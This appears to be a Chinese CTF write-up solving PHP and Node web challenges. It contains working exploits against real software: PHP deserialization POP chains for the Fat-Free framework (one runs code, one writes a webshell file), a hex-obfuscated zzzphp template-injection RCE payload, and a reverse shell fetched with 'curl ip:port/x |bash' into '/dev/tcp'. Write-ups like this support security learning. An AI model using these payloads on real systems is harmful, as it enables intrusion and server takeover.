WEB
babyunserialize
扫目录拿源码
wmctf2020 webweb的原题,直接用exp打
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39
| <?php namespace DB{ abstract class Cursor implements \IteratorAggregate {} }
namespace DB\SQL{ class Mapper extends \DB\Cursor{ protected $props=["quotekey"=>"call_user_func"], $adhoc=["phpinfo"=>["expr"=>""]], $db; function offsetExists($offset){} function offsetGet($offset){} function offsetSet($offset, $value){} function offsetUnset($offset){} function getIterator(){} function __construct($val){ $this->db = $val; } } } namespace CLI{ class Agent { protected $server=""; public $events; public function __construct(){ $this->events=["disconnect"=>array(new \DB\SQL\Mapper(new \DB\SQL\Mapper("")),"find")]; $this->server=&$this;
} }; class WS{} } namespace { echo urlencode(serialize(array(new \CLI\WS(),new \CLI\Agent()))); }
|
y1ng师傅是全局搜索__destruct()
,在jig.php发现了任意写,于是直接gethell
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| <?php namespace DB; class Jig { const FORMAT_JSON=0, FORMAT_Serialized=1; protected $dir = '/var/www/html/', $format = self::FORMAT_JSON, $data = array("info.php"=>array("a"=>"<?php phpinfo();?>")), $lazy = 1; } $jig = new Jig(); echo urlencode(serialize($jig));
|
easyphp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| <?php $pid = pcntl_fork(); if ($pid == -1) { die('could not fork'); }else if ($pid){ $r=pcntl_wait($status); if(!pcntl_wifexited($status)){ phpinfo(); } }else{ highlight_file(__FILE__); if(isset($_GET['a'])&&is_string($_GET['a'])&&!preg_match("/[:\\\\]|exec|pcntl/i",$_GET['a'])){ call_user_func_array($_GET['a'],[$_GET['b'],false,true]); } posix_kill(posix_getpid(), SIGUSR1); }
|
php多进程,主进程会等待子进程运行结束,子进程异常退出会触发phpinfo()
。
直接拿php函数列表fuzz。
以上函数均可导致子进程异常退出,随便找一个即可。
payload:
本来想自己fuzz一下的,但环境没了。
easytrick
要求两个变量长度不能超过5,但md5的值又要相同,而且强弱比较也不能相同
考脑洞
利用php预定义常量绕过
比如 M_PI,M_E ,INF,M_LN2
1 2 3 4 5 6
| <?php class trick{ public $trick1=INF; public $trick2=INF; } echo urlencode(serialize(new trick()) );
|
1 2 3
| trick=O%3A5%3A%22trick%22%3A2%3A%7Bs%3A6%3A%22trick1%22%3Bd%3AINF%3Bs%3A6%3A%22t rick2%22%3Bd%3AINF%3B%7D
|
littlegame
在/DeveloperControlPanel
路由中发现
if(Admin[key] === password) 才能得到flag
在 /Privilege
下,利用setFn设置值
然后找了下set-value的漏洞,发现一个原型链污染
而3.0.0 正好收到影响
rceme
rceme
zzzphp的一个命令执行的漏洞,但danger_key()
增加了一个htmlspecialchars()
函数导致原本的payload失效
1 2 3 4 5 6
| 1. 正则过滤绕过: 很容易看懂,格式为{if:payload}{end if},可利用的地方在payload处。 2. 字符串过滤绕过: hex2bin(dechex(xxx)).hex2bin(dechex(xxx)) 3. 拼接字符串执行命令 简单来说就是闭合if语句。
|
根据之前的题目,直接构造phpinfo
1
| a={if:1)(hex2bin(dechex(112)).hex2bin(dechex(104)).hex2bin(dechex(112)).hex2bin(dechex(105)).hex2bin(dechex(110)).hex2bin(dechex(102)).hex2bin(dechex(111)))();die();
|
也有师傅用反引号绕过
起一个http服务器,写入反弹shell命令。
1
| bash -c 'bash -i >/dev/tcp/ip/port 0>&1'
|
反弹shell
1
| /?a={if:`curl ip:port/x |bash`}{end+if}
|